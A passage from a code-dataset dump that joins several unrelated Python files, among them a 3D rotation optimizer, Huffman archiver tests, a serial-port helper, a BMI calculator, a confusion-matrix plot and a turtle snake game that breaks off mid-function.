mean_fixation_point_xyz, skel_during_vor_fr_mar_dim)\n\n return error\n\n\ndef get_translation_error_between_two_rotation_matrices(translation_guess,segmentA, segmentB):\n #convert euler angles to rotation matrix\n \n segmentA_translated_by_guess = segmentA + translation_guess\n\n #mean_segmentB_point = np.mean(segmentB, axis=0)\n\n #mean_segmentA_point = np.mean(segmentA_translated_by_guess, axis=0)\n\n error_list = [abs(y-x) for x,y in zip(segmentA_translated_by_guess,segmentB)]\n\n error = np.mean(error_list)\n\n return error\n\ndef get_optimal_translation_matrix(segmentA, segmentB):\n translation_matrix = optimize.least_squares(get_translation_error_between_two_rotation_matrices,\n [0,0,0], args = (segmentA, segmentB),\n gtol = 1e-10,\n verbose = 2).x\n return translation_matrix\n \ndef get_error_between_two_rotation_matrices(euler_angle_guess, segmentA, segmentB):\n\n rotation_matrix_guess = Rotation.from_euler('XYZ',euler_angle_guess).as_matrix()\n\n # vectorA = segmentA[1] - segmentA[0]\n\n # vectorA_rotated_by_guess = rotation_matrix_guess @ vectorA\n \n\n # segmentA_rotated_by_guess = segmentA[0] + vectorA_rotated_by_guess\n\n # #----Attempt 1 for rotation\n # segmentA_rotated_by_guess = [rotation_matrix_guess @ x for x in segmentA]\n\n # error_list = [abs(y-x) for x,y in zip(segmentA_rotated_by_guess,segmentB)]\n # error = np.mean(error_list)\n # #----\n\n #----Attempt 2 for rotation\n segmentA_rotated_by_guess = [rotation_matrix_guess @ x for x in segmentA]\n\n vectorA_rotated_by_guess = segmentA_rotated_by_guess[1] - segmentA_rotated_by_guess[0]\n vectorB = segmentB[1] - segmentB[0]\n\n error = abs(np.cross(vectorA_rotated_by_guess,vectorB))\n\n error = np.linalg.norm(error)\n # figure = plt.figure()\n # ax1 = figure.add_subplot(projection = '3d')\n # plot_final_rotated_segments(ax1,segmentA, segmentB, rotation_matrix_guess)\n # plt.show()\n\n # mean_segmentB_point = np.mean(segmentB, axis=0)\n\n # mean_segmentA_point = np.mean(segmentA_rotated_by_guess, axis=0)\n\n # error = abs(mean_segmentB_point-mean_segmentA_point)\n\n return error \n\ndef get_optimal_rotation_matrix(segmentA,segmentB):\n euler_angles = optimize.least_squares(get_error_between_two_rotation_matrices,\n [0,0,0], args = (segmentA, segmentB),\n gtol = 1e-10,\n verbose = 2).x\n return Rotation.from_euler('XYZ',euler_angles).as_matrix()\n\ndef get_segment_values(segment):\n\n segment_x_values = [segment[0][0],segment[1][0]]\n segment_y_values = [segment[0][1],segment[1][1]]\n segment_z_values = [segment[0][2],segment[1][2]]\n\n return segment_x_values, segment_y_values, segment_z_values\ndef plot_final_segments(ax,segmentA, segmentB, new_segment):\n #segmentA_translated_by_guess = [x + translation_matrix for x in segmentA]\n \n segmentA_xvalues, segmentA_yvalues, segmentA_zvalues = get_segment_values(segmentA)\n #segmentA_translated_by_guess_xvalues, segmentA_translated_by_guess_yvalues, segmentA_translated_by_guess_zvalues = get_segment_values(segmentA_translated_by_guess)\n segmentB_xvalues, segmentB_yvalues, segmentB_zvalues = get_segment_values(segmentB)\n new_segment_xvalues, new_segment_yvalues, new_segment_zvalues = get_segment_values(new_segment)\n\n\n\n ax.plot(segmentA_xvalues, segmentA_yvalues, segmentA_zvalues, 'b',label='original segmentA', alpha = .5)\n\n ax.plot(segmentB_xvalues, segmentB_yvalues, segmentB_zvalues, 'r',label='original segmentB', alpha = .5)\n\n #ax.plot(segmentA_translated_by_guess_xvalues, segmentA_translated_by_guess_yvalues, segmentA_translated_by_guess_zvalues, 'g',label='segmentA_translated_by_guess', alpha = .5, linestyle = 'dashed')\n ax.plot(new_segment_xvalues, new_segment_yvalues, new_segment_zvalues, 'g',label='new_segment', alpha = .5)\n f =2 \n\ndef plot_final_rotated_segments(ax,segmentA, segmentB, rotation_matrix):\n segmentA_rotated_by_guess = [rotation_matrix @ x for x in segmentA]\n\n segmentA_xvalues, segmentA_yvalues, segmentA_zvalues = get_segment_values(segmentA)\n segmentA_rotated_by_guess_xvalues, segmentA_rotated_by_guess_yvalues, segmentA_rotated_by_guess_zvalues = get_segment_values(segmentA_rotated_by_guess)\n segmentB_xvalues, segmentB_yvalues, segmentB_zvalues = get_segment_values(segmentB)\n\n ax.plot(segmentA_xvalues, segmentA_yvalues, segmentA_zvalues, 'b',label='original segmentA', alpha = .5)\n ax.plot(segmentB_xvalues, segmentB_yvalues, segmentB_zvalues, 'r',label='original segmentB', alpha = .5)\n ax.plot(segmentA_rotated_by_guess_xvalues, segmentA_rotated_by_guess_yvalues, segmentA_rotated_by_guess_zvalues, 'g-o',label='segmentA_rotated_by_guess', alpha = .5, linestyle = 'dashed')\n\n\ndef translate_skeleton_frame(skeleton_data_frame, translation_distance):\n \"\"\"Take in a frame of rotated skeleton data, and apply the translation distance to each point in the skeleton\"\"\"\n\n translated_point = [x + y for x,y in zip(skeleton_data_frame, translation_distance)]\n return translated_point\n\n\n# #----TRANSLATION\n# # pointA1 = np.array([5,13,4])\n# # pointA2 = np.array([10,18,9])\n\n# # pointB1 = np.array([8,9,7])\n# # pointB2 = np.array([13,14,12])\n\n# pointA1 = np.array([12,4,3])\n# pointA2 = np.array([6,1,9])\n\n# pointB1 = np.array([5,13,4])\n# pointB2 = np.array([10,12,12])\n\n# segmentA = [pointA1, pointA2]\n\n# segmentB = [pointB1, pointB2]\n\n# translation_matrix = get_optimal_translation_matrix(segmentA, segmentB)\n\n# figure = plt.figure()\n# ax1 = figure.add_subplot(projection = '3d')\n# plot_final_segments(ax1,segmentA, segmentB, translation_matrix)\n# plt.show()\n# #-------\n\n\n\n# pointA1 = np.array([12,4,3])\n# pointA2 = np.array([6,1,9])\n\n# pointB1 = np.array([5,13,4])\n# pointB2 = np.array([10,12,12])\n\n\npointA1 = np.array([4,12,0])\npointA2 = np.array([10,7,2])\n\npointB1 = np.array([15,3,24])\npointB2 = np.array([19,2,12])\n\n# pointA1 = np.array([5,13,4])\n# pointA2 = np.array([10,18,9])\n\n# pointB1 = np.array([8,9,7])\n# pointB2 = np.array([13,14,12])\n\npointA1 = np.array([-311.95498264, 107.9060753 , 1308.04556225])\npointA2 = np.array([-358.87439602, 104.9854728 , 1035.59036417])\n\npointB1 = np.array([ -70.52998081, 22.85845106, 1319.20843919])\npointB2 = np.array([ -65.79256761, 41.31004819, 1093.13235156])\nsegmentA = [pointA1, pointA2]\n\nsegmentB = [pointB1, pointB2]\n\n# segmentA = np.vstack((pointA1,pointA2))\n\n# csegmentB = np.vstack((pointB1,pointB2))\n\ndebug = True\n\n\nfigure = plt.figure()\nax1 = figure.add_subplot(projection = '3d')\n\nrotation_matrix = get_optimal_rotation_matrix(segmentA,segmentB)\n\nsegmentA_rotated_by_guess = [rotation_matrix @ x for x in segmentA]\n\nplot_final_rotated_segments(ax1,segmentA, segmentB, rotation_matrix)\nax1.legend()\nif debug:\n plt.show()\n\n\n\ntranslation_matrix = get_optimal_translation_matrix(segmentA_rotated_by_guess, segmentB)\n\ntranslation_distance = segmentB[0] - segmentA_rotated_by_guess[0]\n\n#segment_A_translated = [x + y for x,y in zip(segmentA_rotated_by_guess[0], translation_distance)]\nsegmentA_translated = []\n\nfor x in range(len(segmentA)):\n point_translated = translate_skeleton_frame(segmentA_rotated_by_guess[x], translation_distance)\n segmentA_translated.append(point_translated)\n\nfigure = plt.figure()\nax1 = figure.add_subplot(projection = '3d')\nplot_final_segments(ax1,segmentA_rotated_by_guess, segmentB, segmentA_translated)\n\n\nif debug:\n plt.show()\nf = 2\n\nbot_row_transformation_matrix = np.array([0,0,0,1])\n\ntranslation_matrix_transposed = np.array([[x] for x in translation_matrix])\n\nrotation_and_translation_stacked = np.hstack((rotation_matrix,translation_matrix_transposed))\n\ntransformation_matrix = np.vstack((rotation_and_translation_stacked,bot_row_transformation_matrix))\n\nsegmentA_one = np.hstack((segmentA[0],np.array([1])))\n\nsegmentA_two = np.hstack((segmentA[1],np.array([1])))\n\nsegmentA_one_T = transformation_matrix @ segmentA_one\nsegmentA_two_T = transformation_matrix @ segmentA_two\n\nsegmentA_t = [segmentA_one_T[0:3],segmentA_two_T[0:3]]\n\nfigure = plt.figure()\nax1 = figure.add_subplot(projection = '3d')\n#plot_final_segments(ax1,segmentA_t, segmentB, [0,0,0])\n\n#ax1.legend()\n\nif debug:\n plt.show()\n\nf = 2","repo_name":"aaroncherian/freemocap_validation","sub_path":"old_code/old_8_2/optimizer_test1.py","file_name":"optimizer_test1.py","file_ext":"py","file_size_in_byte":12263,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"20935861508","text":"import os\nimport unittest\nimport main\nfrom constants import *\n\n\nclass FileAfterUnzippingIsSame(unittest.TestCase):\n def test_if_output_path_is_not_specified(self):\n f = open(TEST_FILE, 'w')\n f.write('Hello, world!')\n f.close()\n self.assertTrue(SomeMethods.check_if_file_and_unzipped_are_same(TEST_FILE, False))\n\n def test_on_empty_file(self):\n empty_file = 'empty.tmp'\n with open(empty_file, 'w') as f:\n f.write('Hello, world!')\n self.assertTrue(SomeMethods.check_if_file_and_unzipped_are_same(empty_file))\n\n def test_on_text_file(self):\n text_file = 'text.txt'\n with open(text_file, 'w') as f:\n f.write('Hello, world!')\n self.assertTrue(SomeMethods.check_if_file_and_unzipped_are_same(text_file))\n\n def test_on_bin_file(self):\n bin_file = 'bytes.bin'\n f = open(bin_file, 'wb')\n f.write(b'Hello, world!')\n f.close()\n self.assertTrue(SomeMethods.check_if_file_and_unzipped_are_same(bin_file))\n\n\nclass IncorrectArguments(unittest.TestCase):\n\n def setUp(self) -> None:\n with open(TEST_FILE, 'w') as f:\n f.write('Hello, world!')\n\n def tearDown(self) -> None:\n os.remove(TEST_FILE)\n\n def test_large_output_file_name(self):\n large_name = 'large' * 100\n with self.assertRaises(RuntimeError):\n main.encode_file(TEST_FILE, large_name, True)\n\n def test_on_same_file_names(self):\n with self.assertRaises(RuntimeError):\n main.encode_file(TEST_FILE, TEST_FILE, True)\n\n def test_on_broken_archive(self):\n output_file = 'test_archive'\n decoded_dir = 'decoded'\n main.encode_file(TEST_FILE, output_file, True)\n with open(output_file, 'r+b') as f:\n middle_of_file = os.stat(output_file).st_size // 2\n f.seek(middle_of_file)\n f.write(b'some unexpected data')\n with self.assertRaises(RuntimeError):\n main.decode_file(output_file, decoded_dir)\n os.remove(output_file)\n file_dir, file_name = os.path.split(TEST_FILE)\n decoded_file = os.path.join(file_dir, decoded_dir, file_name)\n os.remove(decoded_file)\n\n\nclass OtherTests(unittest.TestCase):\n def test_if_archive_name_is_taken_write_in_another_file(self):\n archive_name = TEST_FILE + ARCHIVED_MARK\n data = 'Do not touch this data'\n with open(TEST_FILE, 'w') as f1:\n f1.write('Hello, world!')\n with open(archive_name, 'w') as f2:\n f2.write(data)\n main.encode_file(TEST_FILE, archive_name, False)\n with open(archive_name, 'r') as f2:\n check_data = f2.read()\n self.assertTrue(data == check_data)\n os.remove(TEST_FILE)\n os.remove(archive_name)\n os.remove('0_archived')\n\n\nclass SomeMethods:\n @staticmethod\n def files_are_equal(file: str, other_file: str):\n if os.stat(file).st_size != os.stat(other_file).st_size:\n return False\n with open(file) as f1, open(other_file) as f2:\n while True:\n block = f1.read(SEGMENT_TO_ENCODE_SIZE)\n other_block = f2.read(SEGMENT_TO_ENCODE_SIZE)\n if block != other_block:\n return False\n if not block:\n return True\n\n @staticmethod\n def check_if_file_and_unzipped_are_same(file: str, specify_output_archive=True):\n archived_file = file + ARCHIVED_MARK\n file_dir, file_name = os.path.split(file)\n dir_for_unarchived_file = os.path.join(file_dir, 'decoded')\n # subprocess.call(['python', 'main.py', file, '-a', archived_file])\n # subprocess.call(['python', 'main.py', archived_file, '-d', dir_for_unarchived_file])\n main.encode_file(file, archived_file, specify_output_archive)\n main.decode_file(archived_file, dir_for_unarchived_file)\n unarchived_file = os.path.join(dir_for_unarchived_file, file_name)\n result = SomeMethods.files_are_equal(file, unarchived_file)\n os.remove(file)\n os.remove(archived_file)\n os.remove(unarchived_file)\n return result\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Ko4aH/Huffman_archiver","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"42599623262","text":"from sqlalchemy import Column, String, Integer, ForeignKey, JSON\nfrom sqlalchemy.orm import relationship\n\nfrom app.models._base import BasePlus\n\n\nclass Room(BasePlus):\n __tablename__ = \"room\"\n\n title = Column(String)\n description = Column(String)\n type = Column(String)\n creator = Column(Integer, ForeignKey(\"user.id\"))\n settings = Column(JSON)\n\n users = relationship(\"User\", secondary=\"room_user\", back_populates=\"rooms\")\n","repo_name":"sgbenner/chat-api","sub_path":"app/models/room.py","file_name":"room.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"23574439558","text":"import time\nfrom test.util import wait_for_tasks\n\nimport numpy as np\nimport pytest\n\nfrom scattermind.system.base import TaskId\nfrom scattermind.system.client.client import TASK_MAX_RETRIES\nfrom scattermind.system.config.loader import load_test\nfrom scattermind.system.payload.values import TaskValueContainer\nfrom scattermind.system.response import (\n TASK_STATUS_DONE,\n TASK_STATUS_ERROR,\n TASK_STATUS_READY,\n TASK_STATUS_UNKNOWN,\n TASK_STATUS_WAIT,\n)\nfrom scattermind.system.torch_util import as_numpy, create_tensor\n\n\n@pytest.mark.parametrize(\"base\", [[[1.0]], [[1.0, 2.0], [3.0, 4.0]]])\n@pytest.mark.parametrize(\"batch_size\", [1, 2, 3, 10, 20])\ndef test_low_mem(base: list[list[float]], batch_size: int) -> None:\n # FIXME work out a way to enable redis here\n shape = [len(base), len(base[0])]\n config = load_test(\n batch_size=batch_size, max_store_size=200, is_redis=False)\n config.load_graph({\n \"graphs\": [\n {\n \"name\": \"lowmem\",\n \"description\": f\"batch_size={batch_size},base={base}\",\n \"input\": \"node_0\",\n \"input_format\": {\n \"value\": (\"float\", shape),\n },\n \"output_format\": {\n \"value\": (\"float\", shape),\n },\n \"nodes\": [\n {\n \"name\": \"node_0\",\n \"kind\": \"constant_op\",\n \"args\": {\n \"op\": \"mul\",\n \"const\": 2,\n \"input\": (\"float\", shape),\n },\n \"outs\": {\n \"out\": \"node_1\",\n },\n \"vmap\": {\n \"value\": \":value\",\n },\n },\n {\n \"name\": \"node_1\",\n \"kind\": \"constant_op\",\n \"args\": {\n \"op\": \"add\",\n \"const\": 1,\n \"input\": (\"float\", shape),\n },\n \"outs\": {\n \"out\": None,\n },\n \"vmap\": {\n \"value\": \"node_0:value\",\n },\n },\n ],\n \"vmap\": {\n \"value\": \"node_1:value\",\n },\n },\n ],\n \"entry\": \"lowmem\",\n })\n time_start = time.monotonic()\n tasks: list[tuple[TaskId, np.ndarray]] = [\n (\n config.enqueue(TaskValueContainer({\n \"value\": create_tensor(np.array(base) * tix, \"float\"),\n })),\n np.array(base) * tix * 2.0 + 1.0,\n )\n for tix in range(20)\n ]\n for task_id, _ in tasks:\n assert config.get_status(task_id) == TASK_STATUS_WAIT\n config.run()\n has_error = batch_size >= 3 if len(base) < 2 else batch_size >= 2\n is_variable = (batch_size, len(base)) in (\n (2, 2),\n (3, 1),\n (3, 2),\n (10, 1),\n (10, 2),\n (20, 1),\n (20, 2),\n )\n seen_error = False\n seen_result = False\n for task_id, response, expected_result in wait_for_tasks(config, tasks):\n real_duration = time.monotonic() - time_start\n print(response)\n status = response[\"status\"]\n result = response[\"result\"]\n task_duration = response[\"duration\"]\n assert task_duration <= real_duration\n if (status == \"error\" if is_variable else has_error):\n retries = response[\"retries\"]\n error = response[\"error\"]\n assert error is not None\n assert status == TASK_STATUS_ERROR\n assert result is None\n assert retries == TASK_MAX_RETRIES\n assert error[\"code\"] in (\"out_of_memory\", \"memory_purge\")\n config.clear_task(task_id)\n assert config.get_status(task_id) == TASK_STATUS_UNKNOWN\n assert config.get_result(task_id) is None\n seen_error = True\n else:\n assert status == TASK_STATUS_READY\n assert result is not None\n assert list(result[\"value\"].shape) == shape\n np.testing.assert_allclose(\n as_numpy(result[\"value\"]), expected_result)\n assert config.get_status(task_id) == TASK_STATUS_DONE\n config.clear_task(task_id)\n assert config.get_status(task_id) == TASK_STATUS_UNKNOWN\n assert config.get_result(task_id) is None\n seen_result = True\n if is_variable:\n assert seen_error\n assert seen_result\n elif has_error:\n assert seen_error\n assert not seen_result\n else:\n assert not seen_error\n assert seen_result\n","repo_name":"JosuaKrause/scattermind","sub_path":"test/test_lowmem.py","file_name":"test_lowmem.py","file_ext":"py","file_size_in_byte":4926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"24522947005","text":"import serial\nimport time\n\nclass Evmmsg():\n def __init__(self, name, baudrate=115200, timeout=1, callme=''):\n self.dev = serial.Serial(name, baudrate, timeout=timeout)\n if not callme:\n self.name = name\n else:\n self.name = callme\n self.read_list = ['', b'Do', b'a', b'read', b'first']\n self.read_line = 'empty'\n\n def close(self):\n self.dev.close()\n\n def write(self, string_to_send, end='\\r\\n'):\n string_to_send += end\n self.dev.write(bytes(string_to_send, encoding='ascii'))\n\n def readlines(self):\n self.read_list = ['', b'Nothing', b'read.']\n self.read_list = self.dev.readlines()\n return self.read_list\n\n def readline(self):\n self.read_line = self.dev.readline().decode('utf-8')\n return self.read_line\n\n def msg(self, string):\n print(self.name + ': ' + string)\n\n def printlines(self, evm_output=[]):\n if not evm_output:\n evm_output = self.read_list\n for i in evm_output[1:]:\n print(self.name + ':', '| ', i.decode('utf-8').rstrip('\\r\\n'))\n\n def match_lines(self, to_match, evm_output=[]):\n if not evm_output:\n evm_output = self.read_list\n for i in evm_output[1:]:\n if to_match in i.decode('utf-8'):\n return i.decode('utf-8')\n else:\n return False\n\n def match_line(self, to_match, evm_output=''):\n if not evm_output:\n evm_output = self.read_line\n if to_match in evm_output:\n return True\n else:\n return False\n\n def wait_for_msg(self, msg, timeout=60, debug=0):\n t = 0\n tstamp0 = int(time.time())\n #Dummy read, since input is usually first line in output stream.\n line = self.dev.readline() \n while t < timeout:\n line = self.dev.readline().decode('utf-8')\n if debug:\n print(line.rstrip())\n if msg in line:\n return True\n t = int(time.time()) - tstamp0\n else:\n return False\n \n\n def clear_input(self):\n self.dev.reset_input_buffer()\n\n def __del__(self):\n self.dev.close()\n\n","repo_name":"mscherban/Evmmsger","sub_path":"Evmmsger.py","file_name":"Evmmsger.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"28225944422","text":"# 키보드에서 2명의 회원정보(num, name, phone)을 받아서\n# 딕셔너리에 저장하고 회원정보를 [{},{},...] 형식으로 생성한 후에\n# 파일에 저장할 때 json 문자열 형식으로 저장한다.\n# 다시 파일에서 읽어올 때는 json 문자열을 딕셔너리 형식으로 읽어서 사용한다.\n\nimport json\nimport os.path\n\nfrom jsonIO import *\n\ndef showMenu():\n m = input('회원정보 추가(a), 목록(s), 검색(f), 수정(u), 삭제(d), 종료(x): ')\n return m\n\nwhile True:\n m = showMenu()\n if m == 'a':\n addMem(inputMem())\n elif m == 's':\n printMemList(readMemList())\n\n '''\n \n elif m == 'f':\n # 회원정보 검색\n elif m == 'u':\n # 회원정보 수정\n elif m == 'd':\n # 회원정보 삭제\n elif m == 'x':\n # 프로그램 종료\n'''\n","repo_name":"DDUDDI/mycode1","sub_path":"0518/회원정보.py","file_name":"회원정보.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"20026248761","text":"# Tirado de: https://thepythoncodingbook.com/2021/12/11/simulating-3d-solar-system-python-matplotlib/\n\nimport math\n\nclass Vector:\n # Função de inicialização do vetor\n def __init__(self, x=0, y=0, z=0):\n self.x = x\n self.y = y\n self.z = z\n\n # Função para print do vetor\n def __repr__(self):\n return f\"Vector({self.x}, {self.y}, {self.z})\"\n\n def __str__(self):\n return f\"{self.x}i + {self.y}j + {self.z}k\"\n\n # Função que retorna o valor do item na posição desejada\n def __getitem__(self, item):\n if item == 0:\n return self.x\n elif item == 1:\n return self.y\n elif item == 2:\n return self.z\n else:\n raise IndexError(\"Ha apenas tres elementos no vetor\")\n\n # Função de adição de dois vetores\n def __add__(self, other):\n return Vector(\n self.x + other.x,\n self.y + other.y,\n self.z + other.z,\n )\n \n # Função de subtração de dois vetores\n def __sub__(self, other):\n return Vector(\n self.x - other.x,\n self.y - other.y,\n self.z - other.z,\n )\n \n # Função de multiplicação de dois vetores\n def __mul__(self, other):\n if isinstance(other, Vector): # Vetor vezes produto\n return (\n self.x * other.x\n + self.y * other.y\n + self.z * other.z\n )\n elif isinstance(other, (int, float)): # Multiplicação escalar\n return Vector(\n self.x * other,\n self.y * other,\n self.z * other,\n )\n else:\n raise TypeError(\"Operando deve ser um Vector, int ou float.\")\n \n # Função de divisão de dois vetores\n def __truediv__(self, other):\n if isinstance(other, (int, float)):\n return Vector(\n self.x / other,\n self.y / other,\n self.z / other,\n )\n else:\n raise TypeError(\"Operando deve ser um int ou float.\")\n \n # Função que retorna a magnitude do vetor\n def get_magnitude(self):\n return math.sqrt(self.x ** 2 + self.y ** 2 + self.z ** 2)\n\n # Função de normalização do vetor\n def normalize(self):\n magnitude = self.get_magnitude()\n return Vector(\n self.x / magnitude,\n self.y / magnitude,\n self.z / magnitude,\n )","repo_name":"biaduque/3DPlotPython","sub_path":"vetores.py","file_name":"vetores.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"38768866897","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jul 7 11:47:57 2022\r\n\r\n@author: 320190618\r\n\"\"\"\r\n\r\n#%%\r\n#plot cm matrix \r\nimport matplotlib.pyplot as plt\r\nimport matplotlib \r\nimport seaborn as sns\r\nimport numpy as np\r\nimport sklearn.metrics as sk\r\n\r\nmatplotlib.rcParams[\"figure.dpi\"] = 300\r\nplt.style.use('bmh')\r\nplt.rcParams[\"font.weight\"] = \"bold\"\r\nplt.rcParams[\"axes.labelweight\"] = \"bold\"\r\nlegend_properties = {'weight':'bold', 'size': 10}\r\ntrue = xxx\r\npred = xxxx\r\ncm = sk.confusion_matrix(true, pred)\r\nnum_class = 5\r\nlabel_x = ['Pred_GW', 'Pred_Sheath', 'Pred_Unsheathed', 'Pred_Branch\\nstent', 'Pred_Final\\ndeployment']\r\nlabel_y = ['GW_only', 'Sheath', 'Unsheathed', 'Branch\\nstent', 'Final\\ndeployment']\r\ncf_matrix = cm/np.repeat(np.expand_dims(np.sum(cm, axis=1), axis=-1), num_class, axis=1)\r\ngroup_counts = ['{0:0.0f}'.format(value) for value in cm.flatten()]\r\n# percentage based on true label \r\ngr = (cm/np.repeat(np.expand_dims(np.sum(cm, axis=1), axis=-1), num_class, axis=1)).flatten()\r\ngroup_percentages = ['{0:.1%}'.format(value) for value in gr]\r\n\r\nlabels = [f'{v1}\\n{v2}' for v1, v2 in zip(group_percentages, group_counts)]\r\n\r\nlabels = np.asarray(labels).reshape(num_class, num_class)\r\n\r\nif label_x is not None:\r\n xlabel = label_x\r\n ylabel = label_y\r\nelse:\r\n xlabel = ['Pred-%d'%i for i in range(num_class)]\r\n ylabel = ['%d'%i for i in range(num_class)]\r\n\r\nsns.set(font_scale = 1.5)\r\n\r\nhm = sns.heatmap(cf_matrix, annot=labels, fmt='', cmap = 'OrRd', \\\r\nannot_kws={\"fontsize\": 16}, xticklabels=xlabel, yticklabels=ylabel, cbar=False)\r\n# hm.set(title=title)\r\nplt.xticks(rotation = 45)\r\nfig = plt.gcf()\r\nplt.show()","repo_name":"weiliao97/FEVAR_label_train","sub_path":"4_local_analysis/cm_plotting.py","file_name":"cm_plotting.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"19542489921","text":"\r\ndef pregunta():\r\n respuesta = 0\r\n\r\n print(\"Quien es el youtuber que mas grita coño\")\r\n while respuesta != \"Dross\":\r\n respuesta = str(input())\r\n\r\n if respuesta != \"Dross\":\r\n print(\"Respuesta incorrecta, otra vez intenta\")\r\n else:\r\n print(\"COÑOOOOO\")\r\n\r\ndef salir():\r\n salir = False\r\n\r\n\r\n\r\n\r\n \r\n \r\n","repo_name":"Marcelo-34/My-python-codes","sub_path":"Prueba funcion.py","file_name":"Prueba funcion.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"11362361418","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n#BMI caluclator\nweight=input(\"Enter the weight:\")\nheight=input(\"Enter the height:\")\nbmi=round(int(weight) / float(height)**2,2)\nif bmi < 18.5:\n print(f\"Your BMI is {bmi}, you are under weight\")\nelif bmi >= 18.5 and bmi < 25:\n print(f\"your BMI is {bmi},you are normal weight\")\nelif bmi >= 25 and bmi < 30:\n print(f\" your BMI is {bmi}, you are over weight\")\nelif bmi >= 30 :\n print(f\"Your BMI is {bmi},you are obey go hospital immidiatly\")\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Arunponugotii/pravidha","sub_path":"BMI calculator.py","file_name":"BMI calculator.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"2016712216","text":"#snake2.0\n\n#Items I put in\n\"\"\"\nPVP(+5) - line 305\nSnake speeds up as you eat(+5) - line 250 in normal 341 and 408 in pvp\nPause button(+5) - line 211\nWindow has a title(+1) - line 50\nMain Menu(+5) - line 111 and 183\nDirections in console(+1) - line 228 in normal 318 in pvp\nDirections in window(+3) - line 238 in normal 329 in pvp\nChange color after ate food(+3)- line 252 in normal 343 in pvp\n\n\"\"\"\n\n\n\n#imports\nimport turtle as t \nimport random \nimport time \n\n\n\n\n\n#game configuration\ndelay = 0.1\nsizeOfHead=1\nscore=0\nplayer2Score=0\nbodyPartsList=[]\nbodyPartsList2=[]\nfontSettings=(\"Comic Sans MS\",16,\"normal\")\nmovementAmount=20\noldMovementAmount=0\nspeed=1.3\nspeed2=1.3\ncolorList=[\"green\",\"DarkOliveGreen1\",\"chartreuse2\",\"DarkGreen\",\"DarkSeaGreen2\"]\ncolorList2=[\"cyan\",\"darkBlue\",\"CadetBlue\",\"aquamarine\",\"DarkSlateGray3\"]\ncolor=\"green\"\ncolor2=\"blue\"\n\n#object creation\n\n#window\nwn = t.Screen()\nwn.setup(width=600,height=600)\n#gives the window a title https://www.geeksforgeeks.org/turtle-title-function-in-python/#:~:text=turtle.-,title(),title%20of%20the%20turtle%20window.\nt.title(\"Snake\")\n\n#snake head\nhead = t.Turtle()\nhead.hideturtle()\nhead.shape(\"square\")\nhead.color(color)\nhead.shapesize(sizeOfHead)\nhead.direction=\"stop\"\nhead.penup()\nhead.speed(speed)\n\nhead2 = t.Turtle()\nhead2.hideturtle()\nhead2.shape(\"square\")\nhead2.color(color2)\nhead2.shapesize(sizeOfHead)\nhead2.direction=\"stop\"\nhead2.penup()\nhead2.speed(speed)\n\n#snake food\nfood=t.Turtle()\nfood.hideturtle()\nfood.shape(\"turtle\")\nfood.color(\"saddle brown\")\nfood.penup()\nfood.goto(100,100)\n\n\n#scorekeeper\nscoreKeeper = t.Turtle()\nscoreKeeper.hideturtle()\nscoreKeeper.speed(0)\nscoreKeeper.penup()\n\n\n\n#scorekeeper for player 2\nscoreKeeper2 = t.Turtle()\nscoreKeeper2.hideturtle()\nscoreKeeper2.speed(0)\nscoreKeeper2.penup()\nscoreKeeper2.goto(270,270)\n\n\n\n#this prints out the directions\ndirections= t .Turtle()\ndirections.hideturtle()\ndirections.speed(0)\ndirections.penup()\n\n\n\n#menu\nmenu= t.Turtle()\nmenu.hideturtle()\nmenu.speed(0)\nmenu.penup()\nmenu.goto(-250,100)\nmenu.write(\"Press the key for the game you want:\\n\\t'N' for Normal 'V' for PVP\",align=\"left\",font=fontSettings)\n\nwinner=t .Turtle()\nwinner.hideturtle()\nwinner.speed(0)\nwinner.penup()\nwinner.goto(0,0)\n\n#function and command development\n\ndef up():\n #if head is going down, we can't go up\n if head.direction!=\"down\":\n head.direction = \"up\"\ndef down():\n if head.direction!=\"up\": \n head.direction = \"down\"\ndef left():\n if head.direction!=\"right\":\n head.direction = \"left\"\ndef right():\n if head.direction!=\"left\":\n head.direction = \"right\"\ndef up2():\n if head2.direction!=\"down\":\n head2.direction = \"up\"\ndef down2():\n if head2.direction!=\"up\": \n head2.direction = \"down\"\ndef left2():\n if head2.direction!=\"right\":\n head2.direction = \"left\"\ndef right2():\n if head2.direction!=\"left\":\n head2.direction = \"right\"\n\ndef move():\n global movementAmount\n if head.direction == \"up\":\n head.sety(head.ycor()+movementAmount)\n elif head.direction == \"down\":\n head.sety(head.ycor()-movementAmount)\n elif head.direction == \"left\":\n head.setx(head.xcor()-movementAmount)\n elif head.direction == \"right\":\n head.setx(head.xcor()+movementAmount)\n elif head.direction ==\"stop\":\n head.goto(head.xcor(),head.ycor())\n else:\n head.goto(0,0) \ndef move2():\n global movementAmount \n if head2.direction == \"up\":\n head2.sety(head2.ycor()+movementAmount)\n elif head2.direction == \"down\":\n head2.sety(head2.ycor()-movementAmount)\n elif head2.direction == \"left\":\n head2.setx(head2.xcor()-movementAmount)\n elif head2.direction == \"right\":\n head2.setx(head2.xcor()+movementAmount)\n elif head2.direction ==\"stop\":\n 